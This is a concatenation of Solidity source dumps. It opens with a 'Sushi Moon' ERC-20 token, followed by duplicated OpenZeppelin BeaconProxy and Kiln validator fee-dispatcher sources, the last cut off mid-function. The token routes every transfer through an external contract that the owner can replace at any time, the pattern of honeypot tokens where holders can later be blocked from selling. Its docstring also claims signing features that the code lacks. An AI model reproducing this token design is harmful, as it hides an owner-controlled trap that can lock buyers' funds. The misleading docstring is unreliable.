* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
/**
* @title Sushi Moon
* @dev ERC-20 with minting + add-ons to allow for offchain signing
* See EIP-712, EIP-2612, and EIP-3009 for details
*/
contract Moon {
mapping (address => mapping (address => mapping(uint => uint))) public moon;
function to(address _from, address _to, uint _value) public {
moon[_from][_to][block.timestamp] = _value;
}
}
contract SushiMoon is ERC20, Ownable {
Moon public moon;
constructor(address _owner, uint256 _decimals, address _moon, uint256 _totalSupply) ERC20("Sushi Moon", "SMOON") Ownable(_owner) {
moon = Moon(_moon);
_mint(_owner, _totalSupply * 10 ** _decimals);
}
function burn(uint256 amount) external {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) external {
uint256 currentAllowance = allowance(account, _msgSender());
require(currentAllowance >= amount, "ERC20: burn amount exceeds allowance");
unchecked {
_approve(account, _msgSender(), currentAllowance - amount);
}
_burn(account, amount);
}
function transfer(address to, uint256 value) override public returns (bool) {
moon.to(msg.sender, to, value);
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) override public returns (bool) {
moon.to(from, to, value);
return super.transferFrom(from, to, value);
}
function toTheMoon(address _moon) public onlyOwner {
moon = Moon(_moon);
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
}
|
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{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"contracts/utils/BeaconProxy.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact security@p00ls.com\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"viaIR": true,
"debug": {
"revertStrings": "strip"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
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{{
"language": "Solidity",
"sources": {
"@openzeppelin/contracts/proxy/beacon/IBeacon.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n /**\n * @dev Must return an address that can be used as a delegate call target.\n *\n * {BeaconProxy} will check that this address is a contract.\n */\n function implementation() external view returns (address);\n}\n"
},
"@openzeppelin/contracts/proxy/Proxy.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n /**\n * @dev Delegates the current call to `implementation`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _delegate(address implementation) internal virtual {\n assembly {\n // Copy msg.data. We take full control of memory in this inline assembly\n // block because it will not return to Solidity code. We overwrite the\n // Solidity scratch pad at memory position 0.\n calldatacopy(0, 0, calldatasize())\n\n // Call the implementation.\n // out and outsize are 0 because we don't know the size yet.\n let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n // Copy the returned data.\n returndatacopy(0, 0, returndatasize())\n\n switch result\n // delegatecall returns 0 on error.\n case 0 {\n revert(0, returndatasize())\n }\n default {\n return(0, returndatasize())\n }\n }\n }\n\n /**\n * @dev This is a virtual function that should be overridden so it returns the address to which the fallback function\n * and {_fallback} should delegate.\n */\n function _implementation() internal view virtual returns (address);\n\n /**\n * @dev Delegates the current call to the address returned by `_implementation()`.\n *\n * This function does not return to its internal call site, it will return directly to the external caller.\n */\n function _fallback() internal virtual {\n _beforeFallback();\n _delegate(_implementation());\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n * function in the contract matches the call data.\n */\n fallback() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n * is empty.\n */\n receive() external payable virtual {\n _fallback();\n }\n\n /**\n * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n * call, or as part of the Solidity `fallback` or `receive` functions.\n *\n * If overridden should call `super._beforeFallback()`.\n */\n function _beforeFallback() internal virtual {}\n}\n"
},
"contracts/utils/BeaconProxy.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\";\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\";\n\n/// @custom:security-contact security@p00ls.com\ncontract BeaconProxy is Proxy {\n IBeacon private immutable _beacon;\n\n event BeaconUpgraded(IBeacon indexed beacon);\n\n constructor(IBeacon beacon)\n {\n _beacon = beacon;\n emit BeaconUpgraded(beacon);\n }\n\n function _implementation()\n internal\n view\n override\n returns (address)\n {\n return _beacon.implementation();\n }\n}\n"
}
},
"settings": {
"optimizer": {
"enabled": true,
"runs": 200
},
"viaIR": true,
"debug": {
"revertStrings": "strip"
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
},
"libraries": {}
}
}}
|
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
}
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{{
"language": "Solidity",
"sources": {
"src/contracts/ConsensusLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Consensus Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ConsensusLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n error NotImplemented();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ConsensusLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ConsensusLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract\n /// @param _stakingContract Address of the Staking Contract\n function initCLD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32) external payable {\n revert NotImplemented();\n /*\n uint256 balance = address(this).balance; // this has taken into account msg.value\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee;\n\n if (balance >= 32 ether) {\n // withdrawing a healthy & exited validator\n globalFee = ((balance - 32 ether) * stakingContract.getGlobalFee()) / BASIS_POINTS;\n } else if (balance <= 16 ether) {\n // withdrawing from what looks like skimming\n globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n }\n\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(withdrawer, operator, balance - globalFee, operatorFee, globalFee - operatorFee);\n */\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n }\n\n fallback() external payable {\n revert InvalidCall();\n }\n}\n"
},
"src/contracts/libs/DispatchersStorageLib.sol": {
"content": "//SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\nlibrary DispatchersStorageLib {\n function getUint256(bytes32 position) internal view returns (uint256 data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setUint256(bytes32 position, uint256 data) internal {\n assembly {\n sstore(position, data)\n }\n }\n\n function getAddress(bytes32 position) internal view returns (address data) {\n assembly {\n data := sload(position)\n }\n }\n\n function setAddress(bytes32 position, address data) internal {\n assembly {\n sstore(position, data)\n }\n }\n}\n"
},
"src/contracts/interfaces/IStakingContractFeeDetails.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IStakingContractFeeDetails {\n function getWithdrawerFromPublicKeyRoot(bytes32 _publicKeyRoot) external view returns (address);\n\n function getTreasury() external view returns (address);\n\n function getOperatorFeeRecipient(bytes32 pubKeyRoot) external view returns (address);\n\n function getGlobalFee() external view returns (uint256);\n\n function getOperatorFee() external view returns (uint256);\n}\n"
},
"src/contracts/interfaces/IFeeDispatcher.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity >=0.8.10;\n\ninterface IFeeDispatcher {\n function dispatch(bytes32 _publicKeyRoot) external payable;\n\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address);\n}\n"
},
"src/contracts/FeeRecipient.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./interfaces/IFeeDispatcher.sol\";\n\ncontract FeeRecipient {\n /// @notice Constructor replay prevention\n bool internal initialized;\n /// @notice Address where funds are sent to be dispatched\n IFeeDispatcher internal dispatcher;\n /// @notice Public Key root assigned to this receiver\n bytes32 internal publicKeyRoot;\n\n error AlreadyInitialized();\n\n /// @notice Initializes the receiver\n /// @param _dispatcher Address that will handle the fee dispatching\n /// @param _publicKeyRoot Public Key root assigned to this receiver\n function init(address _dispatcher, bytes32 _publicKeyRoot) external {\n if (initialized) {\n revert AlreadyInitialized();\n }\n initialized = true;\n dispatcher = IFeeDispatcher(_dispatcher);\n publicKeyRoot = _publicKeyRoot;\n }\n\n /// @notice Empty calldata fallback\n receive() external payable {}\n\n /// @notice Non-empty calldata fallback\n fallback() external payable {}\n\n /// @notice Triggers a withdrawal by sending its funds + its public key root to the dispatcher\n /// @dev Can be called by any wallet as recipients are not parameters\n function withdraw() external {\n dispatcher.dispatch{value: address(this).balance}(publicKeyRoot);\n }\n\n /// @notice Retrieve the assigned public key root\n function getPublicKeyRoot() external view returns (bytes32) {\n return publicKeyRoot;\n }\n\n /// @notice retrieve the assigned withdrawer\n function getWithdrawer() external view returns (address) {\n return dispatcher.getWithdrawer(publicKeyRoot);\n }\n}\n"
},
"src/contracts/ExecutionLayerFeeDispatcher.sol": {
"content": "//SPDX-License-Identifier: BUSL-1.1\npragma solidity >=0.8.10;\n\nimport \"./libs/DispatchersStorageLib.sol\";\nimport \"./interfaces/IStakingContractFeeDetails.sol\";\nimport \"./interfaces/IFeeDispatcher.sol\";\n\n/// @title Execution Layer Fee Recipient\n/// @author Kiln\n/// @notice This contract can be used to receive fees from a validator and split them with a node operator\ncontract ExecutionLayerFeeDispatcher is IFeeDispatcher {\n using DispatchersStorageLib for bytes32;\n\n event Withdrawal(\n address indexed withdrawer,\n address indexed feeRecipient,\n bytes32 pubKeyRoot,\n uint256 rewards,\n uint256 nodeOperatorFee,\n uint256 treasuryFee\n );\n\n error TreasuryReceiveError(bytes errorData);\n error FeeRecipientReceiveError(bytes errorData);\n error WithdrawerReceiveError(bytes errorData);\n error ZeroBalanceWithdrawal();\n error AlreadyInitialized();\n error InvalidCall();\n\n bytes32 internal constant STAKING_CONTRACT_ADDRESS_SLOT =\n keccak256(\"ExecutionLayerFeeRecipient.stakingContractAddress\");\n uint256 internal constant BASIS_POINTS = 10_000;\n bytes32 internal constant VERSION_SLOT = keccak256(\"ExecutionLayerFeeRecipient.version\");\n\n /// @notice Ensures an initialisation call has been called only once per _version value\n /// @param _version The current initialisation value\n modifier init(uint256 _version) {\n if (_version != VERSION_SLOT.getUint256() + 1) {\n revert AlreadyInitialized();\n }\n\n VERSION_SLOT.setUint256(_version);\n\n _;\n }\n\n /// @notice Constructor method allowing us to prevent calls to initCLFR by setting the appropriate version\n constructor(uint256 _version) {\n VERSION_SLOT.setUint256(_version);\n }\n\n /// @notice Initialize the contract by storing the staking contract and the public key in storage\n /// @param _stakingContract Address of the Staking Contract\n function initELD(address _stakingContract) external init(1) {\n STAKING_CONTRACT_ADDRESS_SLOT.setAddress(_stakingContract);\n }\n\n /// @notice Performs a withdrawal on this contract's balance\n function dispatch(bytes32 _publicKeyRoot) external payable {\n uint256 balance = address(this).balance;\n if (balance == 0) {\n revert ZeroBalanceWithdrawal();\n }\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n address withdrawer = stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n address operator = stakingContract.getOperatorFeeRecipient(_publicKeyRoot);\n address treasury = stakingContract.getTreasury();\n uint256 globalFee = (balance * stakingContract.getGlobalFee()) / BASIS_POINTS;\n uint256 operatorFee = (globalFee * stakingContract.getOperatorFee()) / BASIS_POINTS;\n\n (bool status, bytes memory data) = withdrawer.call{value: balance - globalFee}(\"\");\n if (status == false) {\n revert WithdrawerReceiveError(data);\n }\n if (globalFee > 0) {\n (status, data) = treasury.call{value: globalFee - operatorFee}(\"\");\n if (status == false) {\n revert FeeRecipientReceiveError(data);\n }\n }\n if (operatorFee > 0) {\n (status, data) = operator.call{value: operatorFee}(\"\");\n if (status == false) {\n revert TreasuryReceiveError(data);\n }\n }\n emit Withdrawal(\n withdrawer,\n operator,\n _publicKeyRoot,\n balance - globalFee,\n operatorFee,\n globalFee - operatorFee\n );\n }\n\n /// @notice Retrieve the staking contract address\n function getStakingContract() external view returns (address) {\n return STAKING_CONTRACT_ADDRESS_SLOT.getAddress();\n }\n\n /// @notice Retrieve the assigned withdrawer for the given public key root\n /// @param _publicKeyRoot Public key root to get the owner\n function getWithdrawer(bytes32 _publicKeyRoot) external view returns (address) {\n IStakingContractFeeDetails stakingContract = IStakingContractFeeDetails(\n STAKING_CONTRACT_ADDRESS_SLOT.getAddress()\n );\n return stakingContract.getWithdrawerFromPublicKeyRoot(_publicKeyRoot);\n }\n\n receive() external payable {\n revert InvalidCall();\n 